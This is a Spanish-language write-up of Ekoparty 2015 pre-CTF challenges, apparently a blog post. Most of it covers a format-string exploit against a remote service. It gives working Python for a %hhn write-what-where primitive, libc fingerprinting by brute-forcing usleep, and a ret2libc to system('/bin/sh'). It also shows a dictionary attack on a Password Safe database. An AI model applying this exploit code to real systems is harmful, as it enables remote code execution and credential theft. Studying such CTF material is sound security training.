8 Hi 0x702438
Enter your name: 
9 Hi (nil)
Enter your name: 
10 Hi (nil)
Enter your name: 
11 Hi 0xd40c2300
Enter your name: 
12 Hi (nil)
Enter your name: 
13 Hi 0xb7fd1000
Enter your name: 
14 Hi 0xbffff7a8
Enter your name: 
15 Hi 0x13370985
Enter your name: 
16 Hi 0x13372080
Enter your name: 
17 Hi 0x13370ae3
Enter your name: 
18 Hi 0x133709ab
Enter your name: 
19 Hi 0xb7fd1000
Enter your name: 

Asumimos que las direcciones 0x13370000 son del binario y las 0xbfff0000 son del stack.

Pasamos a identificar algunos strings (si caemos en algo que no es un puntero a un string nos desconecta, así que usaremos un bloque try-except):

import telnetlib
for i in range(1, 20):
    try:
        tn = telnetlib.Telnet('challs.ctf.site', 20002)
        tn.read_until("Enter your name: ")
        tn.write("%{0}$s".format(i))
        print i, repr(tn.read_until("Enter your name: "))
        tn.read_all()
        tn.write("bye")
        tn.close()
    except EOFError:  # telnet connection closed
        pass

Y vemos esto:

1 'Hi %N\nEnter your name: '
2 3 'Hi \x89E\xf4\x83}\xf4\nEnter your name: '
4 5 'Hi signal\nEnter your name: '
6 'Hi (null)\nEnter your name: '
7 8 9 'Hi (null)\nEnter your name: '
10 'Hi (null)\nEnter your name: '
11 12 'Hi (null)\nEnter your name: '
13 'Hi \xa8m\x1a\nEnter your name: '
14 'Hi \nEnter your name: '
15 'Hi \xa1\x08!7\x13\x89\x04$\xe8\x9e\xfb\xff\xc9\xc3f\x90f\x90f\x90f\x90f\x90f\x90UW1S\xe8e\xfc\xff\x81\xc3U\x16\nEnter your name: '
16 'Hi \x07[T\x03@\x0fL\x1a\xb2\x0b\x0c\x0b\x04w\x1e$LyB\xe7,\xb4\xbf\xa0@zyz2\x0ch\xb92\xb7\xf0b\xa7\xac\xa6\xe0hjoT(Y\xa8=\xee\x97\x04\x93\x9f\xcd\xf0[\n\x08\x0b>_\xcd_\xaf\nEnter your name: '
17 'Hi 3k0_p4rty_2015!\nEnter your name: '
18 'Hi \x81\xc3U\x16\nEnter your name: '
19 'Hi \xa8m\x1a\nEnter your name: '

Ese "3k0_p4rty_2015!" es tentador, pero luego salio la pista confirmando que no era la bandera.

Es en este punto cuando descubrí que si usaba un %n para escribir algo en la pila, el servicio me desconectaba de inmediato (incluía un filtro).  Sin embargo, cosas como %hn o %hhn si eran posibles.

Después de mucho buscar encontre esta referencia donde aprendí a usar un puntero que apunta a otro puntero para escribir en algún lugar del stack (y desde allí logre extrapolar para cualquier lugar del stack, y eventualmente, casi cualquier luego de la memoria).

Escribí una función que me permitiera identificar esa condicion (puntero que apunta a puntero que apunta al stack) y logre encontrar un par de casos:


def controller(payload):
    tn.read_until("Enter your name: ")
    tn.write("%s" % payload)
    response = tn.read_until("Enter your name: ")
    tn.write("wait-for-it\n")
    return response


for ptr in range(1, 200):
    tn = telnetlib.Telnet('challs.ctf.site', 20002)
    try:
        controller("%66c%{0}$n".format(ptr))
        response = controller("%{0}$s".format(ptr))
        if response == 'Hi B\nEnter your name: ':
            print "argumento %i puede sobreescribirse" % ptr
            for i in range(1, 200):
                response2 = re.findall('[0-9a-f]{8}', controller("%{0}$08x".format(i)))
                if response2 == ['00000042']:
                    print "argumento %i apunta al argumento %i" % (ptr, i)
                    tn = telnetlib.Telnet('challs.ctf.site', 20002) # reset
                    controller("%66c%{0}$n".format(i))
                    response3 = controller("%{0}$s".format(i))
                    if response3 == 'Hi B\nEnter your name: ':
                        print "argumento %i tambien puede sobreescribirse (write-what-where)" % i
                        break
    except:
        pass
    controller("bye".format(ptr))


Así logre encontrar esto:

argumento 13 puede sobreescribirse
argumento 14 puede sobreescribirse
argumento 16 puede sobreescribirse
argumento 19 puede sobreescribirse
argumento 25 puede sobreescribirse
argumento 25 apunta al argumento 61
argumento 61 tambien puede sobreescribirse (write-what-where)
argumento 26 puede sobreescribirse
argumento 26 apunta al argumento 63
argumento 63 tambien puede sobreescribirse (write-what-where)

Y desde allí pude consigue las direcciones de los diferentes argumentos, usando como referencia el 61:

get_address = lambda i: 0xbffff844L + 4 * (i - 61)

Esa función lambda la escribi basado en un solucionario de un reto muy parecido de alguna Defcon (el reto se llama babyecho).

Pensaba explicarlo en mas detalle, pero descubri "barrebas", el autor del documento que mencione antes, también publicó su solución a este reto: barrebas & superkojiman.  Así mismo, el solucionario de  @mrexcessive usa la misma técnica.

Resumiendo, se puede calcular la función inversa a la anterior para calcular el numero de argumento correspondiente al scratchpad. Y a partir de allí usar los dos primeros puntero para apuntar a direcciones sucesivas, y escribir en cada una, modificando un byte a la vez…

Esta es mi función para escribir en el scratchpad:

def write_what_where(what, where=136, ptr_where=63, ptr_ptr_where=26, verbose=False):
    tn.read_until("Enter your name: ")
    if verbose: print '%{0}$08x'.format(ptr_where)
    tn.write('%{0}$08x'.format(ptr_where))
    response = re.findall('Hi (.*)\n', tn.read_until("Enter your name: "))[0]    
    try:
        ptr = int(response, 16) & 0xff
    except ValueError:
        ptr = ord(response[-1])
    
    for i in range(len(what)):
        if verbose: print '%{1}c%{0}$hhn'.format(ptr_ptr_where, ptr + i)
        tn.write('%{1}c%{0}$hhn'.format(ptr_ptr_where, ptr + i))
        tn.read_until("Enter your name: ")
        if verbose: print '%{1}c%{0}$hhn'.format(ptr_where, ord(what[i]))
        tn.write('%{1}c%{0}$hhn'.format(ptr_where, ord(what[i])))
        tn.read_until("Enter your name: ")
    if verbose: print '%{1}c%{0}$hhn'.format(ptr_ptr_where, ptr + i + 1)
    tn.write('%{1}c%{0}$hhn'.format(ptr_ptr_where, ptr + i + 1))
    tn.read_until("Enter your name: ")
    if verbose: print '%{1}c%{0}$hhn'.format(ptr_where, 256)
    tn.write('%{1}c%{0}$hhn'.format(ptr_where, 256))
    tn.read_until("Enter your name: ")
    if verbose: print '%{1}c%{0}$hhn'.format(ptr_ptr_where, ptr)
    tn.write('%{1}c%{0}$hhn'.format(ptr_ptr_where, ptr)) # ptr reset!

Esa función puede usar los argumentos 25 y 61 para escribir en el argumento 130, o el 26 y 63 para escribir en el arg 136.

Con esta función podía usar la anterior para escribir en la dirección que yo quisiera:

def modify_address(address, value="ABCD", padding=0, verbose=False, where=130, ptr_where=61, ptr_ptr_where=25):
    for i in range(len(value)):
        write_what_where('A' * padding + struct.pack('L', address + i), where, ptr_where, ptr_ptr_where)
        if verbose: print '%{1}c%{0}$n'.format(where, ord(value[i]))
        tn.write('%{1}c%{0}$n'.format(where, ord(value[i])))
        tn.read_until("Enter your name: ")

Alternativamente, esta función me permitía escribir en un argumento en el stack:

def modify_argument(j, value="ABCD", padding=0, verbose=False, where=130, ptr_where=61, ptr_ptr_where=25):
    for i in range(len(value)):
        write_what_where('A' * padding + struct.pack('L', get_address(j) + i), where, ptr_where, ptr_ptr_where)
        if verbose: print '%{1}c%{0}$n'.format(where, ord(value[i]))
        tn.write('%{1}c%{0}$n'.format(where, ord(value[i])))
        tn.read_until("Enter your name: ")

Finalmente, cada cierto tiempo debía verificar que lo que escribí siguiera alli pues de alguna forma el stack cambiaba y mis datos se desalineaban un par de bytes.  Entonces definí esta función:

def verify_value(argument, value, verbose=False):
    tn.read_until("Enter your name: ")
    if verbose: print "%{0}$08x".format(argument)
    tn.write("%{0}$08x".format(argument))
    response = int(re.findall('Hi (.*)\n', tn.read_until("Enter your name: "))[0], 16)
    print "    [ARG%i] = 0x%08x" % (argument, response)
    assert value == response
    tn.write('done')

Con esto, lo primero que intente fue subir un shellcode y sobreescribir un retorno, aunque me esperaba que el bit NX estuviera presente, igual quería ver si podia escribir y modificar:


tn = telnetlib.Telnet('challs.ctf.site', 20002)
arg_shellcode = 136
arg_return = 13

print "[*] Escribiendo shellcode en 0x%08x" % get_address(arg_shellcode)
write_what_where("\x90" * 3 + shellcode, arg_shellcode)

print "[*] Verificando shellcode en 0x%08x" % get_address(arg_shellcode)
verify_value(arg_shellcode, 0xe1f7c931)

print "[*] Sobreescribiendo el argumento %i con un puntero al shellcode…" % arg_return
modify_argument(arg_return, value=struct.pack('L', get_address(arg_shellcode)), padding=2)

#print "[*] Sobreescribiendo la direccion 0x%08x con un puntero al shellcode…" % get_address(arg_to_modify)
#modify_address(get_address(13), value=struct.pack('L', get_address(136)), padding=2)

print "[*] Verificando puntero al shellcode en la direccion 0x%08x…" % get_address(arg_return)
verify_value(arg_return, get_address(arg_shellcode))

print tn.read_until("Enter your name: ")
tn.write('bye')
print tn.read_all()
tn.close()

Los valores en amarillo eran el padding que debía modificar cando el stack se desalineaba.  Aunque desde luego no podía ejecutarlo, si que pude instalar el shellcode y modificar el retorno.  La primitiva de escritura arbitraria funcionaba.  Ahora el problema era escribir que? y en donde?

La solución era tomar control de alguna función en el GOT.  En el solucionario de barrebas & superkojiman, ellos van por strcmp(). Yo, al igual que @mrexcessive intente inicialmente ir por printf() para tomar control cuando el programa imprimía el "Bye!" antes de cerrar la sesión (aunque,  eventualmente, terminaría resolviéndolo de otra forma).

Pero para esto necesitaba hacerme con una copia del binario o identificar la versión de libc directamente.

Para hacerme con una copia del binario, debía leer secuencialmente y almacenar los valores.  Normalmente podría usar el argumento 8 (que refleja el string de entrada) para pasar una dirección y leer el contenido, algo como:

'A{0}%8$p'.format{struct.pack('L', 0x41424344)}

Donde el 'A' inicial es el padding necesario para alinear el string en el stack, y el 0x41424344 sería la dirección que queremos leer…  pero por alguna razón esto no parecía funcionar…

No importaba, como teníamos una función para escribir lo que quisiéramos, entonces podíamos usarla para escribir en algun punto del stack la dirección que nos interesara y luego leer directamente con el número del argumento.  De hecho, bien podíamos usar directamente el scratchpad: cargar una dirección, leer el puntero, cargar la siguiente dirección y continuar hasta volcar todo el bloque de memoria que nos interesa (que sería el bloque 0x1337????)…

Era una buena opción pero la función de escritura arbitraria requiere explotar muchos formatos de cadena cortos para leer un puntero.  Haciéndolo así tomaría algún tiempo, pues para cada cuatro bytes debe preparase la dirección usando el puntero a puntero…

La otra opción era conseguir identificar libc.  Se me ocurrió que podía usar una variación de la técnica de desaleatorización de libc que mencione en el post de hardening en Debian.  Aquí no teníamos ASLR pero aun asi  valía la pena probar la idea hacer fuerza bruta para caer sobre usleep() porque ya había visto en el stack un valor (0xb7fd1000) que se veía como los de libc de 32 bits del post de Debian. lo más importante, es que ya tenía código para esto :)

Del post anterior ya había notado que los primeros 12 bits serían "b7f" o "b7e" y además, los últimos 4 bits siempre son "0".  Sin embargo, 16 bits aun era mucho para hacer fuerza bruta.  Sería mejor tener una lista de posibles offsets para usleep, pues eso me daría los 12 bits finales y me dejaría listo para hacer fuerza bruta a los 8 bits centrales.

Ahora bien, teníamos un stack de 32 bits, podía ser arquitectura i386 o arquitecura amd64 compilado para 32 bits, pero y la distro? Si era Debian debería ser un Stable, si era Ubuntu debería ser un LTS, si era otra cosa? volvería al plan de volcar el binario.

Decidí iniciar con Ubuntu.  El LTS mas reciente es 14.04 y estas son las versiones disponibles para libc6 de i386 y libc6-i386 de amd64 (precedidas por el offset de usleep):

000ea960 libc6_2.17-93ubuntu4_i386.deb
000e5fa0 libc6_2.18-0ubuntu1_i386.deb
000e5e60 libc6_2.18-0ubuntu2_i386.deb
000e5e10 libc6_2.18-0ubuntu3_i386.deb
000e5e10 libc6_2.18-0ubuntu4_i386.deb
000e59d0 libc6_2.18-0ubuntu5_i386.deb
000e59d0 libc6_2.18-0ubuntu6_i386.deb
000e5a30 libc6_2.18-0ubuntu7_i386.deb
000e5710 libc6_2.19-0ubuntu1_i386.deb
000e5710 libc6_2.19-0ubuntu2_i386.deb
000e5370 libc6_2.19-0ubuntu3_i386.deb
000e5370 libc6_2.19-0ubuntu4_i386.deb
000e5370 libc6_2.19-0ubuntu5_i386.deb
000e5370 libc6_2.19-0ubuntu6_i386.deb
000e54f0 libc6_2.19-0ubuntu6.1_i386.deb
000e54f0 libc6_2.19-0ubuntu6.2_i386.deb
000e5130 libc6_2.19-0ubuntu6.3_i386.deb
000e50e0 libc6_2.19-0ubuntu6.4_i386.deb
000e5170 libc6_2.19-0ubuntu6.5_i386.deb
000e4850 libc6_2.19-0ubuntu6.6_i386.deb

000eb030 libc6-i386_2.17-93ubuntu4_amd64.deb
000e63c0 libc6-i386_2.18-0ubuntu1_amd64.deb
000e6280 libc6-i386_2.18-0ubuntu2_amd64.deb
000e61f0 libc6-i386_2.18-0ubuntu3_amd64.deb
000e61f0 libc6-i386_2.18-0ubuntu4_amd64.deb
000e5e70 libc6-i386_2.18-0ubuntu5_amd64.deb
000e5e70 libc6-i386_2.18-0ubuntu6_amd64.deb
000e5ee0 libc6-i386_2.18-0ubuntu7_amd64.deb
000e3980 libc6-i386_2.19-0ubuntu1_amd64.deb
000e3980 libc6-i386_2.19-0ubuntu2_amd64.deb
000e3560 libc6-i386_2.19-0ubuntu3_amd64.deb
000e3560 libc6-i386_2.19-0ubuntu4_amd64.deb
000e3560 libc6-i386_2.19-0ubuntu5_amd64.deb
000e3560 libc6-i386_2.19-0ubuntu6_amd64.deb
000e36c0 libc6-i386_2.19-0ubuntu6.1_amd64.deb
000e36c0 libc6-i386_2.19-0ubuntu6.2_amd64.deb
000e3300 libc6-i386_2.19-0ubuntu6.3_amd64.deb
000e32a0 libc6-i386_2.19-0ubuntu6.4_amd64.deb
000e3330 libc6-i386_2.19-0ubuntu6.5_amd64.deb
000e2a70 libc6-i386_2.19-0ubuntu6.6_amd64.deb

Como no tendría sentido que fuera una instalación muy vieja, empece desde abajo hacia arriba para cada arquitectura, y en cada caso tome los últimos 12 bits del offset (como se resalta en los tres últimos offsets).

Con mi función de escritura arbitraria modifique el valor de retorno, y usando los offsets que había seleccionado, lance mi fuerza bruta para romper el byte faltante y funcionó de inmediato! usleep estaba ubicado en 0xb7f0d330 :)

Teniendo que el offset de usleep terminaba en 0x330 fue muy fácil identificar la versión de libc: libc6-i386_2.19-0ubuntu6.5_amd64.deb y en este punto era trivial obtener el offset para system: 0xb7e69cd0.

Con mi función de escritura arbitraria instalé el comando a ejecutar: "/bin/sh" y cambie el ret2libc desde usleep hacia system.  Funcionó.  Y aunque el sistema terminaba la conexión en cosa de segundos, siempre podía repetir y explorar un poco más hasta encontrar el código fuente del reto:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include  <signal.h>

char *mkey;
unsigned char mkey_crypt[] = { "\x07\x5b\x54\x03\x40\x0f\x4c\x1a\xb2\x0b\x0c\x0b\x04\x77\x1e\x24\x4c\x79\x42\xe7\x2c\xb4\xbf\xa0\x40\x7a\x79\x7a\x32\x0c\x68\xb9\x32\xb7\xf0\x62\xa7\xac\xa6\xe0\x68\x6a\x6f\x54\x28\x59\xa8\x3d\xee\x97\x04\x93\x9f\xcd\xf0\x5b\x0a\x08\x0b\x3e\x5f\xcd\x5f\xaf" };
unsigned char fmt[] = { "\x71\x73\x27\x1f\x1d\x48\x47" };
unsigned char flag[] = { "\x56\x0c\x0a\x1d\x67\x08\x42\x18\x57\x5c\x53\x4f\x1a\x04\x72\x21\x18\x3a\x31\x05\x49\x26\x2c\x18\x09\x1e\x1a\x70\x5c\x6b" };

char *decrypt(const char *msg, const char *key)
{
    int len_key = strlen(key);
    int len_msg = strlen(msg);
    int i, j;
    char *out = (char *)malloc(len_key + 1);
    if (!out)
    {
        printf("WTF no memory :s");
        return NULL;
    }
    for (i = 0; i < len_msg && i < sizeof(len_msg); i++)
    {
        out[i] = msg[i] ^ (i + key[i%len_key]);
    }
    return out;
}

void handler(int num)
{
    puts("Bye!");
    exit(-1);
}

void process()
{
    char buff[13];
    puts("<Simple loop greetings v1.3.3.7>");
    puts("[!] Type bye to quit");
    while (1)
    {
        alarm(10);
        printf("Enter your name: ");
        fflush(stdout);
        memset(buff, 0, sizeof(buff));
        read(0, buff, sizeof(buff) - 1);
        if (strstr(buff, "bye"))
        {
            puts("Bye!");
            break;
        }
        if (strstr(buff, "%n") || strstr(buff, "%N"))
        {
            //p: %s\n", buff);
            break;
        }
        printf("Hi ");printf(buff);puts("");
        if (!strcmp("Welcome to ekoparty 2015!", buff))
        {
            printf("OMG! nice work, your flag is: ");
            char *fmt_ = decrypt(fmt, mkey);
            char *flag_ = decrypt(flag, mkey);
            printf(fmt_, flag_);
            free(fmt_);
            free(flag_);
            break;
        }
    }
}

//gcc -m32 Wl,-Ttext-segment=0x13370000 -o greetings fmt_001.c ; strip greetings
int main(int argc, char **argv)
{
    signal(SIGALRM, handler);
    mkey = decrypt(mkey_crypt, "3k0_p4rty_2015!");
    process();
    free(mkey);
}

En este punto, eliminar el carácter resaltado invertía el sentido de la comparación y así podíamos compilar localmente para obtener la flag.

Flag: EKO{b4by_3xpl0it_FMT_str1ng_FTW!#$}

 Misc

[misc25] The picture challenge

Description: Send us a picture of your laptop showing the pre-ctf main site, a paper with your registered team name, the EKOPARTY word, and your favorite drink to ekopics@null-life.com. Please be patient as the process is manual, it will be great to see your drinks!

sin comentarios :P

[misc50] Get the flag

Description: GET all the flags! literally.
Hints: Source code anyone? *GET* them all
Al observar el codigo fuente (como nos dicen en la pista) vemos esto:

GET all the <!-- country --> flags! literally.

De que estan hablando? Ah! si, en el scoreboard los equipos aparecen con una baderita segun su país… OK. Una inspección rápida nos lleva a que los países unan un código de 3 letras (Colombia sería "COL", Argentina sería "ARG" y así).  Parece ser el sistema de códigos de ISO 3166, entonces:

import requests
import re

r = requests.get('http://userpage.chemie.fu-berlin.de/diverse/doc/ISO_3166.html')
for country in set(re.findall("([A-Z]{3})", r.text)):
    c = requests.get('https://ctf.ekoparty.org/static/img/flags/%s.png' % country)
    s = re.findall('EKO{.*}', c.text)
    if len(s):
        print s[0]
        break

Con ese código intentamos descargar una bandera a la vez y verificar si esconden alguna flag…  Y efectivamente una de ellas lo hace.

Flag: EKO{misc_challenges_are_really_bad}

[misc100] Password manager

Description: It looks like someone has been using a really bad key!
Hints: [a-zA-Z0-9]{0,4}
Attachment: misc100.zip
El archivo "misc100.zip" trae dentro un "mypasswords" que procedemos a identificar con el comando file:

$ file mypasswords
mypasswords: Password Safe V3 database

Una busqueda rápida nos indica que "Password Safe" es un manejador de contraseñas (lo que concuerda con el titulo del reto) y encontramos la página del proyecto en sourceforge.  Con una segunda búsqueda ("password safe cracker") encontramos una herramienta que ataca este formato.

Compilamos la herramienta (antes tuve que agregar un #include <unistd.h> que hacia falta) y verificamos como funciona:

$ ./safe-cracker
Password Safe Cracker Arguments:
safe-cracker <location of safe> <word file>

Vemos que requiere un diccionario para lanzar el ataque y como nos dan la pista del charset y la longitud, generamos diccionarios de hasta 4 caracteres y los probamos.  En este caso necesitaremos solo 3 caracteres, asi que me limitare a mostrar el codigo para generar ese diccionario:

from string import ascii_letters, digits
from itertools import product
charset = ascii_letters + digits
for p in product(charset, repeat=3):
     print "".join(p)

Ese codigo imprime en la salida estandar, asi que necesita redireccionarse a un archivo.  El valor resaltado indica la longitud de las palabras a usar en el diccionario.

$ python wordlist.py > words3
$ ./safe-cracker mypasswords words3
Salt: 1f295812c442fa6614c8f5442b701be81a817fef1a05e095a420666eabc37e9b
Iterations: 2048
Stored Hash: a482b17009d206b7fa3495b40e4113a296efc23bd92b68905929277bdae4a246

Hashes(10000) Per Second(4.5078s): 2218.38
Hashes(20000) Per Second(9.01391s): 2218.79
Hashes(30000) Per Second(13.536s): 2216.32
Hashes(40000) Per Second(18.0341s): 2218.02
Hashes(50000) Per Second(22.5422s): 2218.06
Hashes(60000) Per Second(27.0407s): 2218.88
Hashes(70000) Per Second(31.5204s): 2220.78
Hashes(80000) Per Second(36.0073s): 2221.77
Hashes(90000) Per Second(40.5021s): 2222.11
Hashes(100000) Per Second(44.9855s): 2222.94
Hashes(110000) Per Second(49.4772s): 2223.25

Password is Ek0

Instalando la aplicación y usando la clave "Ek0" podemos recuperar la flag:


Flag: EKO{password_managers_rulez}

[misc200] Reversing psychology

Description: Find the secret message!
Hints: It is not a reversing challenge!
Attachment: misc200.zip

Divertida idea para un reto, basado en "REpsych: Psychological Warfare in Reverse Engineering". Para resolverlo basta con cambiar las opciones en IDA para que muestre mas nodos de lo normal (Options → General → Graph → Max number of nodes).  Yo puse la mia en 10.000 nodos y el mensaje aparece de inmediato en el "Graph overview".


Lo dificil del reto no es encontrar la flag, sino leerla: EKO{R3v3rs1ng_Psych0}

Conclusión


Estuvo bastante bien el preCTF.  Estoy seguro de que el CTF será todavía mejor!

No hay comentarios:

Publicar un comentario